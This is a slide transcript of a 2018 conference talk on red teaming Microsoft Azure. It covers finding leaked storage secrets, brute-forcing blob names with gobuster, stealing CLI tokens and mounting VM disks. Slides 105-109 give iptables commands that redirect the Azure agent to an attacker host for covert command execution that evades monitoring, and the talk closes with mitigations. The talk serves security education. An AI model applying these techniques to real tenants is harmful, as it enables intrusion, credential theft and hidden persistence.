Blue Cloud of Death: Red Teaming Azure

BSides Denver Presentation on May 11 2018

On-demand IT services are being publicized as the “new normal”, but often times these services are misunderstood and hence misconfigured by engineers which can frequently enable red teams to gain, expand, and persist access within Azure environments.

In this talk we will dive into how Azure services are commonly breached (e.g. discovering insecure blob storage), and then show how attackers are pivoting between the data & control planes (e.g. mounting hard disks, swapping keys, etc...) to expand access. Finally we will demonstrate some unique techniques for persisting access within Azure environments for prolonged periods of time.

Bryce Kunz (@TweekFawkes) is an Information Security Researcher located in Salt Lake City, Utah. Bryce currently leads the security offensive testing of Adobe's Marketing Cloud SaaS infrastructure via researching and developing custom exploits for web applications and other cloud based technologies. As a security professional, Bryce has spent time at various agencies (i.e. NSA, DoD, DHS, CBP) focusing on vulnerability research, penetration testing, and incident response. Bryce received an MBA from a NSA designated "Center of Excellence" Idaho State University (ISU) program with an emphasis in Information Assurance (IA) on a full academic scholarship from the National Science Foundation (NSF). Bryce holds numerous certifications (e.g. OSCP, CISSP, ...) and has spoken at various security conferences (i.e. DerbyCon, etc...).

Transcript

1. BLUE CLOUD
   OF DEATH
   Red Teaming Azure
   

   View Slide

2. AGENDA
   …
   Agenda
   • Who Am I?
   • Azure Overview
   • Initial Access
   • Storage Access
   • Endpoint Access
   • Expanding Access
   • Persisting Access
   Bryce Kunz
   @TweekFawkes
   

   View Slide

3. Whois
   …
   

   View Slide

4. THE PAST
   RED & BLUE...
   Red Team
   Adobe
   Digital Experience (DX)
   Bryce Kunz
   @TweekFawkes
   Offense
   NSA
   Defense
   DHS SOC
   

   View Slide

5. THE PRESENT
   CYBER SECURITY SERVICES
   Stage 2 Security BSidesSLC
   ( CyberSecurity Services ) ( By & For the People )
   Stage2Sec.com BSidesSLC.org
   Bryce Kunz
   @TweekFawkes
   

   View Slide

6. TRAINING
   AWS & AZURE EXPLOITATION:
   MAKING THE CLOUD RAIN SHELLS!
   CNO.io -Training
   (Salt Lake City, Utah)
   July 12th & 13th
   SOLD OUT!
   BlackHat USA
   (Las Vegas, NV)
   August
   

   View Slide

7. Azure Overview
   …
   

   View Slide

8. CLOUD
   Azure CIoud
   My boss assured me,
   that’s all we needed to know… :P
   

   View Slide

9. DESIGN
   Azure CIoud
   Portal Control Data
   cloud demystified!
   

   View Slide

10. ADMINS
    Azure CIoud
    Portal Control Data
    Admin
    …
    

    View Slide

11. CONTROL
    Azure CIoud
    Portal Control Data
    Admin
    … From our vantage point …
    … mostly just REST APIs …
    

    View Slide

12. DATA
    Azure CIoud
    Portal Control Data
    Admin
    … here lies user/customer/account data …
    

    View Slide

13. SERVICES
    Azure CIoud
    Portal
    VMs
    Control
    Storage
    Data
    Apps
    Admin
    …too many for any human to care about…
    LBs
    

    View Slide

14. SERVICES
    Portal
    VMs
    Control
    Storage
    Data
    Apps
    Admin
    …too many for any human to care about…
    LBs
    Azure CIoud
    

    View Slide

15. AGENTS
    Azure CIoud
    Portal
    VMs
    Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    Agent
    

    View Slide

16. DEVS
    Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    Dev
    CI
    Pipeline
    VMs
    

    View Slide

17. USERS
    Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    

    View Slide

18. Dooms Day
    …
    

    View Slide

19. DEVOP-OCALYPSE
    Bryce Kunz - @TweekFawkes
    … $50k!?!?!?
    

    View Slide

20. DEVOP-OCALYPSE
    Bryce Kunz - @TweekFawkes
    …EC2 instances destroyed…
    

    View Slide

21. Accounts
    …
    

    View Slide

22. ACCOUNTS
    …
    Customer Types:
    • Standard
    • Enterprise Agreement
    • - Departments
    Account Admin
    Service Admin
    Co-Admin
    Subscription
    (e.g. IT)
    Azure Account (Center)
    Subscription
    (e.g. R&D)
    RG
    Stage
    RG
    Prod
    R R R R
    RG
    Stage
    RG
    Prod
    R R R R
    Service Admin
    Co-Admin
    

    View Slide

23. Initial Access
    …
    

    View Slide

24. OSINT
    Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    

    View Slide

25. GITHUB
    Bryce Kunz - @TweekFawkes
    Google Dork:
    site:github.com web.config
    "StorageConnectionString"
    "DefaultEndpointsProtocol"
    

    View Slide

26. PASTEBIN
    Bryce Kunz - @TweekFawkes
    Find a Azure Secrets
    • Collaboration
    • - PasteBin.com
    

    View Slide

27. REPOS
    Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    Repos
    

    View Slide

28. BITBUCKET
    Bryce Kunz - @TweekFawkes
    Find a Azure Secrets
    • Open Source Intel
    • Code Repositories
    • - BitBucket, GitLab
    • - Gerrit, GitBlit, Git
    • - SVN, etc…
    

    View Slide

29. CI
    Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    Repos
    

    View Slide

30. DEPLOY
    ACCESS
    Bryce Kunz - @TweekFawkes
    Find a Azure Secrets
    • Open Source Intel
    • Code Repositories
    • Deployment Tools
    • - Puppet, etc…
    • - Jenkins, etc…
    

    View Slide

31. Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    Repos
    ENDPOINT
    

    View Slide

32. HACK & D/L
    ACCESS
    Bryce Kunz - @TweekFawkes
    Find a Azure Secrets
    • Open Source Intel
    • Code Repositories
    • Deployment Tools
    • Configuration Files
    • - Classic Hacks
    • -- D/L Secrets
    

    View Slide

33. Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    Repos
    MANY ROADS
    TO PWNAGE
    

    View Slide

34. I
    Heart
    AWS
    &
    Azure!
    Just in case you think AWS or Azure is bad…
    Here is what I really like about it!
    • Assessment Management is Awesome!
    • Scaling of Logging can be Amazing!
    • Read-Only / Auditor Access is Easy to Setup!
    

    View Slide

35. Azure Storage
    …
    

    View Slide

36. STORAGE
    …
    VMs
    Storage
    LBs
    Users
    Web Server
    Apps
    

    View Slide

37. STORAGE
    …
    VMs
    Storage
    LBs
    Users
    Web Server
    Apps
    Hacker
    

    View Slide

38. STORAGE
    .
    

    View Slide

39. AZURE BLOBS
    Endpoints: https://myaccount.blob.core.windows.net/mycontainer/myblob
    e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt
    Storage Account Name: bcodstoragetest005
    Container Name: containertest005
    Blob Name: test.txt
    

    View Slide

40. DNS BRUTE FORCE
    e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt
    Storage Account Name: bcodstoragetest005
    - Only contains lowercase letters and numbers.
    - Name must be between 3 and 24 characters.
    

    View Slide

41. GOBUSTER - DNS
    e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt
    gobuster -m dns -u "blob.core.windows.net" -i -t
    100 -fw -w /root/blobdns/3_chars.txt
    

    View Slide

42. DNS BRUTE FORCE
    …
    …
    - Only contains lowercase letters and numbers.
    - Name must be between 3 and 24 characters.
    Lower Chars & Nums Count Run Time (100 Threads)
    3 46,656 ~1 min
    4 1,679,616 ~25min
    5 60,466,176 ~15 hours
    6 … etc … … etc …
    

    View Slide

43. GOBUSTER - DIR
    e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt
    gobuster -m dir -u
    “https://bcodstoragetest005.blob.core.windows.n
    et” -i -t 100 -e -s 200,204 -w quickdir.txt
    

    View Slide

44. AZURE BLOB NAMES
    e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt
    Storage Account Name: bcodstoragetest005
    Container Name: containertest005
    Blob Name: test.txt
    

    View Slide

45. BRUTE FORCE
    Possible but kind of sucks to brute force or guess three separate variables/parameters in the URL.
    e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt
    Storage Account Name: bcodstoragetest005
    Container Name: containertest005
    Blob Name: test.txt
    

    View Slide

46. STORAGE
    …
    VMs
    Storage
    LBs
    Users
    Web Server
    Apps
    Hacker
    

    View Slide

47. NIMBUSLAND
    Check if an IP address is Azure or AWS
    

    View Slide

48. LOLRUSLOVE
    Spider Website for Links to Azure Blobs
    • CNAME Lookup on FQDNS
    TODO: INSERT Screen Shot
    TODO: Demo?
    

    View Slide

49. Storage Access
    …
    

    View Slide

50. Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    Repos
    STORAGE
    

    View Slide

51. FIND CERT
    *.publishsettings
    Get-AzurePublishSettingsFile
    • Management Certificates
    A "publish settings file" is an XML file with a .publishsettings file name extension. The file
    contains an encoded certificate that provides management credentials for your Azure
    subscriptions.
    

    View Slide

52. FIND SECRET
    “web.config” - ASP.NET
    “app.config” - C#.NET
    • SAS URI
    • Connection String
    • Account Name & Key
    

    View Slide

53. STORAGE EXPLORER
    “Install Azure Storage Explorer”
    

    View Slide

54. STORAGE EXPLORER
    • SAS URI
    • Connection String
    • Account Name & Key
    

    View Slide

55. STORAGE EXPLORER
    • Download Files!
    • Modify Files!
    

    View Slide

56. VHDS
    *disks*
    • vhds!
    

    View Slide

57. VHDS
    Download vhds
    • Code Review
    • Secrets on Disk
    • Linux - grep for “shadow” hashes
    

    View Slide

58. VHDS
    Download vhds
    • Code Review
    • Secrets on Disk
    • Linux - grep for “shadow” hashes
    

    View Slide

59. MANAGED DISKS
    2017 Azure Feature
    • By Default…
    • No VHDs in blob storage containers!
    

    View Slide

60. Storage Persistence
    …
    

    View Slide

61. Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    Repos
    STORAGE
    

    View Slide

62. STORAGE EXPLORER
    Create SAS!
    • Another way to access the resource
    

    View Slide

63. DEMo: SAS Offline Minting!
    …
    

    View Slide

64. SAS TOKEN OFFLINE
    MintyOffline
    Append the Following:
    - Storage Account Name
    - Permissions, Protocol
    - Service, Resource Type
    - Start Time, Expire Time
    - & API Version
    HMAC to creation token using:
    - Key -> Storage Key
    - Msg -> Appended String
    - SHA256
    Formatting of the Data (e.g. Encode)
    

    View Slide

65. CLI Endpoint Access
    …
    

    View Slide

66. Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    Repos
    ENDPOINT
    

    View Slide

67. SETUP CLI
    “Install Azure CLI 2.0 on Windows”
    

    View Slide

68. CLI AUTH.
    “az login”
    (After logging in, your login token is
    valid until it goes for 14 days without
    being used.)
    

    View Slide

69. BROWSER COOKIE
    “az login”
    (After logging in, your login token is
    valid until it goes for 14 days without
    being used.)
    

    View Slide

70. STEAL COOKIE!
    “az login”
    (After logging in, your login token is
    valid until it goes for 14 days without
    being used.)
    

    View Slide

71. CLI AUTH.
    “az login”
    (After logging in, your login token is
    valid until it goes for 14 days without
    being used.)
    

    View Slide

72. AUTH. TOKEN “.azure” folder
    “azureProfile.json”
    

    View Slide

73. STEAL TOKEN“.azure” folder
    “accessTokens.json”
    

    View Slide

74. WHOAMI
    “az account show”
    

    View Slide

75. Expand Access
    …
    

    View Slide

76. Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Hacker
    DATA -> CONTROL
    

    View Slide

77. AZURE META
    Metadata Service: 169.254.169.254
    curl http://169.254.169.254/metadata/v1/maintenance
    curl http://169.254.169.254/metadata/v1/InstanceInfo
    (these are mostly useless for hackers…) but useful information is copied into the …
    /var/lib/waagent directory when the instance is created… (root access needed)
    • IP address, hostname, subscription ID, resource group name, etc…
    …
    

    View Slide

78. Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Hacker
    CONTROL -> DATA
    

    View Slide

79. CAPTURE IMAGE
    …
    

    View Slide

80. HARD BOOT
    Google: “Reset local Windows password for Azure VM offline”
    …
    Horrible OPSEC but it works…
    - Power off a server
    - Mount the server’s hard drive using another VM
    - Modify the server for remote access (e.g. add an SSH key to root user)
    - Power back on the server & PROFIT!
    

    View Slide

81. RESET
    …
    Windows
    • RDP Password Reset
    Linux
    • SSH Key Reset
    • Create User
    

    View Slide

82. SCRIPTS
    …
    Linux
    • VM Extension - CustomScript
    

    View Slide

83. Persistence
    …
    

    View Slide

84. Azure CIoud
    Portal Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Collaboration
    Hacker
    Repos
    CONTROL
    

    View Slide

85. SERVICE PRINCIPALS
    (the recommended approach)
    Permissions-Restricted Accounts
    “az login --service-principal” …
    …not tied to any particular user…
    …have permissions on them assigned
    through pre-defined roles.
    Multiple Passwords!
    

    View Slide

86. AGENTS
    Azure CIoud
    Portal
    VMs
    Control
    Storage
    Data
    Apps
    Admin
    …
    LBs
    Agent
    

    View Slide

87. DOCUMENTATION?
    Where we're going, we don't need docs!
    

    View Slide

88. START DIGGING
    • ps auxfww
    • file
    • python source code review
    Listening Services
    • netstat -nltpu
    Active Connections
    • netstat -natpu
    

    View Slide

89. • b: set a breakpoint
    • c: continue debugging until you hit a breakpoint
    • s: step through the code
    • n: to go to next line of code
    • l: list source code for the current file (default: 11 lines including the line being executed)
    • u: navigate up a stack frame
    • d: navigate down a stack frame
    • p: to print the value of an expression in the current context
    PYTHON DEBUGGER
    • pdb
    

    View Slide

90. SYSDIG sysdig -w 005.scap
    systemctl start walinuxagent.service
    /usr/bin/python3 -u /usr/sbin/waagent –daemon
    sysdig -r 005.scap …
    • -c topfiles_bytes
    • -c topprocs_net
    • -c echo_fds
    • -c fdbytes_by fd.directory "fd.type=file“
    • -c fdbytes_by fd.filename
    "fd.directory=/var/lib/waagent“
    …
    

    View Slide

91. TCPDUMP ip.addr == 168.63.129.16
    

    View Slide

92. AGENTS
    Azure CIoud
    Portal
    VMs
    Control
    http://168.63.129.16
    Storage
    Data
    Apps
    Admin
    …
    LBs
    Agent
    

    View Slide

93. TASKS
    Periodically pulls HTTP API for taskings
    • http://168.63.129.16
    • (local azure fabric address)
    2
    • Signals agent for additional tasks
    Control
    http://168.63.129.16
    GET /machine/?comp=goalstate
    ---
    2…
    Agent
    

    View Slide

94. HOST CONFIGS
    Pulls hostingEnvironmentConfig
    Control
    http://168.63.129.16
    GET /machine/
    …
    type=
    hostingEnvironmentConfig
    ---
    rd_fabric_stable_dhf5.150807-
    2320.RuntimePackage_1.0.0.14.
    zip
    Agent
    

    View Slide

95. CERTS
    Pulls certificates
    Control
    http://168.63.129.16
    GET /machine/
    …
    comp=certificates
    ---
    pfx
    Agent
    

    View Slide

96. EXTENSION CONFIGS
    Pulls Extension Configuration
    • In this case, the command to run
    Control
    http://168.63.129.16
    GET /machine/
    …
    type=extensionsConfig
    ---
    Command to Run
    Agent
    

    View Slide

97. the Journey!
    …
    

    View Slide

98. VMs
    Portal Control
    Storage
    Data
    Admin
    …
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Hacker
    Repos
    CREDS IN REPO
    

    View Slide

99. VMs
    Portal Control
    Storage
    Data
    Admin
    …
    …
    CI
    Pipeline
    Users
    VMs
    Dev
    Internet
    Hacker
    Repos
    VHDS -> CERTS
    

    View Slide

100. VMs
     Portal Control
     Storage
     Data
     Admin
     …
     …
     CI
     Pipeline
     Users
     VMs
     Dev
     Internet
     Hacker
     Repos
     SUBSCRIPTION
     

     View Slide

101. VMs
     Control
     Storage
     Data Users
     VMs
     Hacker
     CUSTOM SCRIPT
     

     View Slide

102. PERSIST?
     Without getting caught?
     Bypass
     • File Integrity Monitoring
     • So we can’t modify files
     • osquery - process list
     • So we can’t be seen in ps
     • osquery - netstat
     • So we can’t be seen in netstat
     … ?
     

     View Slide

103. VMs
     Storage
     Users
     Hacker
     AGENT
     Control
     http://168.63.129.16
     Agent
     VMs
     10.0.4.4
     Already Running
     Pulling for Updates…
     

     View Slide

104. VMs
     Storage
     Users
     Hacker
     BEACHHEAD
     Control
     http://168.63.129.16
     Malware
     Agent
     Beachhead
     10.0.4.5
     VMs
     10.0.4.4
     Ideally…
     • Not of high value
     • Not monitored closely
     Install our Malware
     • To ensure access
     

     View Slide

105. VMs
     Storage
     Users
     VMs
     10.0.4.4
     Hacker
     REDIRECT
     Control
     http://168.63.129.16
     Beachhead
     10.0.4.5
     Malware
     Agent
     Redirect Agent
     • via iptables
     iptables -t nat -I OUTPUT
     -p tcp --dport 80 -d
     168.63.129.16 -m
     comment --comment
     "totes not evil" -j DNAT --
     to-destination
     10.0.4.5:80
     Netstat Looks Normal!
     No New Procs!
     

     View Slide

106. VMs
     Storage
     Users
     VMs
     10.0.4.4
     Hacker
     MITM
     Control
     http://168.63.129.16
     Beachhead
     10.0.4.5
     Malware
     Agent
     Pass API Requests
     • via mitmproxy
     iptables -t nat -I OUTPUT
     -p tcp --dport 80 -d
     10.0.4.5 -m comment --
     comment "totes not evil"
     -j DNAT --to-destination
     168.63.129.16:80
     MITM
     

     View Slide

107. VMs
     Storage
     Users
     Hacker
     EXEC
     Control
     http://168.63.129.16
     Beachhead
     10.0.4.5
     Malware
     Tasks Created within the
     Azure Subscription for
     the Beachhead with the
     MITM software on it,
     which will get redirected
     and executed on the
     remote target through
     the pulling process of the
     Azure endpoint agent
     MITM
     Agent
     VMs
     10.0.4.4
     

     View Slide

108. DEMo: C2 via waagent Redirection
     …
     

     View Slide

109. GOING THE DISTANCE!
     • Only match the redirect during certain times of the day
     • man iptables-extensions -> time
     • … -m time --timestart 01:00 --timestop 02:00 --days Mon,Tue,Wed,Thu,Fri …
     • Match the redirect periodically
     • pulls via GETs every 3 seconds
     • … -m limit -limit … -limit-burst …
     

     View Slide

110. MITIGATIONS
     • Single Purpose Secrets
     • Limited the Access of each Secret
     • Create roles and limit the access of each role
     • You can ACL off secrets to only work from certain IP addresses
     • Log API calls (e.g. cloudtrail)
     • Never use root secrets (use as a break glass account only)
     • Rotate Secrets Frequently
     • Encrypt secrets within GIT and other data stores
     …
     

     View Slide

111. THANKS!
     Stage 2 Security
     ( Red Teaming AWS & Azure Env. )
     Stage2Sec.com
     Bryce Kunz
     @TweekFawkes
     CNO.io -Training
     (Salt Lake City, Utah)
     July 12th & 13th
     

     View Slide